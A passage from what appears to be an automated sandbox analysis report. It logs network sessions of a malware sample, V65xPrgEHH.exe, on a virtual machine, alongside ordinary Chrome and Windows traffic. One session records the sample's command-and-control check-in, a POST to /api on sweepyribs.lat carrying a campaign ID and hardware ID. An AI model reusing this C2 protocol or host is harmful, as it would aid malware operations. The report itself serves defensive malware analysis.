bb ff b7 5d 76 46 02 5a 4b 24 7e 72 7e a1 46 c8 02 4b 70 86 4f ff f8 6d cd c0 e6 34 e8 16 3c 84 5f f4 d2 94 0c 9b 27 b6 Data Ascii: pV)Uq\|G.T_iMiFL1O2 _Gw&H{c},95o.js9,)D]4a%Av"#gQ~lteKIt^URLjHa+\erTn[e@j=iMj}EuI]vFZK$~r~FKpOm4<_'
2024-12-17 09:08:38 UTC	15331	OUT	Data Raw: 1c cd 35 77 a1 44 29 9c 93 d4 31 60 85 25 63 e6 0e 37 0c b5 41 6f 6b ef 4d 38 c4 1a b4 ed f4 a2 d9 b5 76 88 ed a9 e8 16 87 9d 58 10 22 e7 97 4d 38 9b 44 53 75 35 4a b6 97 02 e6 2c 65 83 a7 d9 42 a2 84 4c 9d cd 5b 27 3d c0 45 cb cc b2 25 51 c0 75 ba df bb 46 1a e9 03 bd 19 9b 2c d7 b7 21 d4 d7 a9 9a 50 86 a9 b1 fe 36 7e b9 88 5c 70 21 e8 cb 0f e1 9b 4a fb 58 3f 1f 51 51 51 ea 07 78 b6 d0 ec f6 9d 01 45 4c 95 ca ab 28 dd 5f 28 fe 82 d8 11 3c a2 ea 83 14 8c 8a 8c 8e d3 11 39 b1 93 92 e1 50 38 d8 1f 35 52 15 00 f6 4d b0 79 c0 1e 16 f7 9f c5 27 17 70 b7 73 9a 3d 91 f9 84 7f 67 dc f5 35 c6 d0 d8 72 f5 68 3f bf 10 67 9c 93 df 72 60 1b 19 b4 96 74 30 6e de 20 b4 c7 74 22 6f d3 6f c2 9b e5 c7 1c 93 e1 94 1a b2 b7 66 b4 d2 ca 39 d5 ba 4c 06 d5 6f 6e 58 16 65 bc 38 Data Ascii: 5wD)1`%c7AokM8vX"M8DSu5J,eBL['=E%QuF,!P6~\p!JX?QQQxEL(_(<9P85RMy'ps=g5rh?gr`t0n t"oof9LonXe8
2024-12-17 09:08:41 UTC	1048	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1j843ll20buqmmlk5gk9vnol8a; expires=Sat, 12-Apr-2025 02:55:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b8wlzPrnBJKkB1rcJ%2BcaQx2k84yF0WRvi9NyUlfAPwzTtq9MAQ5p0SIbwev4kQ%2Fj6ZoaKGCgawXsreRDvLSFzKqFYhITu39ok%2BrdRSHKkQ%2BpjxEWtQnK5Akwv9t4g78%2BYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c50e094b18fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1599&rtt_var=619&sent=346&recv=593&lost=0&retrans=0&sent_bytes=2833&recv_bytes=574600&delivery_rate=1742243&cwnd=128&unsent_bytes=0&cid=f388bd95b8884ae0&ts=3209&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49768	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:43 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: sweepyribs.lat
2024-12-17 09:08:43 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 39 42 45 36 30 36 43 33 30 30 42 44 43 38 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=9BE606C300BDC810AC8923850305D13E
2024-12-17 09:08:44 UTC	1034	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ojn9hr8b7dk505g285rg331csv; expires=Sat, 12-Apr-2025 02:55:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eqaNkArEeORBYLjH3UgN9V114VUraumjimoJOqc7ZucylRb28Wxew6dbVGkWrpy2NwPZ69w2oqsMlJKX6VS%2B3qSb02nF4o7EN46AqQsPRW3ai%2Bht4SAEwcpBcmnUQAw26g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c52acabc4286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=2000&rtt_var=759&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=980&delivery_rate=1432074&cwnd=32&unsent_bytes=0&cid=7f5ec253d397ae37&ts=1564&x=0"
2024-12-17 09:08:44 UTC	214	IN	Data Raw: 64 30 0d 0a 47 47 46 30 4a 6f 79 73 52 76 37 39 46 30 32 59 57 4f 30 74 34 6b 42 75 54 51 69 7a 46 33 55 6b 64 62 31 62 69 33 79 50 6d 5a 31 44 47 6c 5a 54 72 70 5a 6b 6c 6f 6c 6a 50 61 49 45 77 6e 48 4e 63 56 5a 34 4a 6f 45 6d 51 41 70 45 6a 47 69 6c 54 62 6e 46 73 6e 63 48 45 6e 71 6a 79 43 4f 59 30 33 49 31 2f 58 72 42 44 34 51 30 54 48 63 34 6e 7a 55 51 42 6b 2b 4e 4a 71 63 48 72 65 79 2f 49 6b 4d 63 55 76 6a 63 66 4b 4c 53 53 32 4b 70 59 4e 67 44 30 48 46 62 59 7a 6d 43 4a 46 73 56 51 2b 46 30 2b 41 6a 71 2b 50 42 45 54 67 5a 48 34 73 67 70 6b 39 4e 79 4e 66 31 36 77 51 2b 45 4e 45 78 33 4f 4a 38 31 45 41 5a 50 6a 53 62 57 0d 0a Data Ascii: d0GGF0JoysRv79F02YWO0t4kBuTQizF3Ukdb1bi3yPmZ1DGlZTrpZkloljPaIEwnHNcVZ4JoEmQApEjGilTbnFsncHEnqjyCOY03I1/XrBD4Q0THc4nzUQBk+NJqcHrey/IkMcUvjcfKLSS2KpYNgD0HFbYzmCJFsVQ+F0+Ajq+PBETgZH4sgpk9NyNf16wQ+ENEx3OJ81EAZPjSbW
2024-12-17 09:08:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49790	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6f 4f 65 34 4d 7a 56 61 42 55 65 64 2b 4f 34 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 64 32 30 38 39 36 34 32 32 66 37 38 63 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: oOe4MzVaBUed+O4i.1Context: e7d20896422f78ce
2024-12-17 09:08:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 09:08:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6f 4f 65 34 4d 7a 56 61 42 55 65 64 2b 4f 34 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 64 32 30 38 39 36 34 32 32 66 37 38 63 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 77 52 32 63 46 6a 78 6d 57 46 71 6a 6a 47 59 68 6e 59 68 4d 6c 65 47 62 4a 7a 4b 32 6f 43 55 4a 4f 51 64 56 5a 65 6b 53 34 6c 76 48 61 51 30 66 51 61 50 63 5a 55 78 37 65 4a 53 6d 77 46 65 69 4e 65 52 53 69 76 38 4d 77 56 4d 38 64 63 54 39 41 34 4e 72 6c 43 38 45 75 72 52 32 64 4c 42 59 53 72 67 53 51 6c 5a 6c 45 79 7a 6f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: oOe4MzVaBUed+O4i.2Context: e7d20896422f78ce<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfwR2cFjxmWFqjjGYhnYhMleGbJzK2oCUJOQdVZekS4lvHaQ0fQaPcZUx7eJSmwFeiNeRSiv8MwVM8dcT9A4NrlC8EurR2dLBYSrgSQlZlEyzo
2024-12-17 09:08:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6f 4f 65 34 4d 7a 56 61 42 55 65 64 2b 4f 34 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 64 32 30 38 39 36 34 32 32 66 37 38 63 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: oOe4MzVaBUed+O4i.3Context: e7d20896422f78ce<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 09:08:54 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 09:08:54 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4b 61 58 57 4c 52 37 52 38 6b 4b 4f 4e 47 51 6a 47 30 4d 59 6c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: KaXWLR7R8kKONGQjG0MYlQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49836	142.250.181.132	443	7868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:09:10 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 09:09:11 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:09:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ORTQra1nvwS0_UeeZtnvEw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-17 09:09:11 UTC	124	IN	Data Raw: 62 39 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 6f 75 6e 64 68 6f 75 6e 64 20 61 69 20 73 74 6f 63 6b 22 2c 22 6c 61 20 63 6c 69 70 70 65 72 73 20 76 73 20 75 74 61 68 20 6a 61 7a 7a 22 2c 22 6c 61 20 70 61 6c 6d 61 20 6e 65 74 66 6c 69 78 20 6d 6f 76 69 65 22 2c 22 64 65 63 65 6d 62 65 72 20 31 35 20 66 75 6c 6c 20 6d 6f 6f 6e 22 2c 22 78 72 70 20 70 72 69 63 65 20 Data Ascii: b9d)]}'["",["soundhound ai stock","la clippers vs utah jazz","la palma netflix movie","december 15 full moon","xrp price
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 22 69 6e 64 69 61 6e 61 20 6a 6f 6e 65 73 20 61 6e 64 20 74 68 65 20 67 72 65 61 74 20 63 69 72 63 6c 65 20 70 73 35 22 2c 22 62 65 6e 20 6d 69 6c 6c 69 6b 65 6e 20 66 69 73 68 69 6e 67 22 2c 22 74 6f 72 6e 61 64 6f 20 77 61 72 6e 69 6e 67 20 63 61 6c 69 66 6f 72 6e 69 61 20 73 63 6f 74 74 73 20 76 61 6c 6c 65 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 Data Ascii: predictions","indiana jones and the great circle ps5","ben milliken fishing","tornado warning california scotts valley"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 4e 6f 64 56 56 52 52 6d 56 58 4e 46 46 71 64 6e 6c 6d 55 56 68 48 52 31 6f 34 65 44 5a 33 57 6d 46 61 4d 33 70 4f 57 56 46 75 4e 47 46 6c 59 6c 4e 77 57 53 74 58 65 6b 67 35 56 45 5a 30 55 7a 4e 4a 53 55 46 54 4f 58 4a 74 4e 58 46 6f 61 33 68 35 57 45 31 61 63 58 46 32 65 6d 56 6c 56 30 4e 79 62 6a 4e 53 55 31 55 35 54 33 46 42 61 30 6c 76 53 33 4d 31 53 6d 4a 54 54 6b 34 33 51 58 49 7a 54 6a 64 70 4b 30 34 77 62 46 41 77 4e 32 77 35 52 6b 70 54 57 6d 4a 52 62 57 35 70 62 6d 73 78 54 32 68 71 52 57 63 33 4f 47 64 43 65 56 46 43 4e 57 56 33 4e 45 5a 31 4d 32 4a 45 61 6b 68 35 55 32 4a 6b 53 6c 68 68 65 6e 42 30 65 44 56 4b 56 47 78 4f 62 30 46 4e 52 6b 4a 53 63 58 70 6b 55 56 5a 73 55 30 31 7a 59 6e 46 44 5a 45 70 74 61 54 4e 5a 62 7a 42 6a 64 48 5a 52 4e Data Ascii: NodVVRRmVXNFFqdnlmUVhHR1o4eDZ3WmFaM3pOWVFuNGFlYlNwWStXekg5VEZ0UzNJSUFTOXJtNXFoa3h5WE1acXF2emVlV0NybjNSU1U5T3FBa0lvS3M1SmJTTk43QXIzTjdpK04wbFAwN2w5RkpTWmJRbW5pbmsxT2hqRWc3OGdCeVFCNWV3NEZ1M2JEakh5U2JkSlhhenB0eDVKVGxOb0FNRkJScXpkUVZsU01zYnFDZEptaTNZbzBjdHZRN
2024-12-17 09:09:11 UTC	76	IN	Data Raw: 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: type":["QUERY","QUERY","QUERY","QUERY","QUERY","ENTITY","QUERY","QUERY"]}]
2024-12-17 09:09:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49841	142.250.181.132	443	7868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:09:10 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49840	142.250.181.132	443	7868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:09:10 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 09:09:11 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 17 Dec 2024 09:09:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-17 09:09:11 UTC	372	IN	Data Raw: 31 30 64 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 10d6)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-17 09:09:11 UTC	1166	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
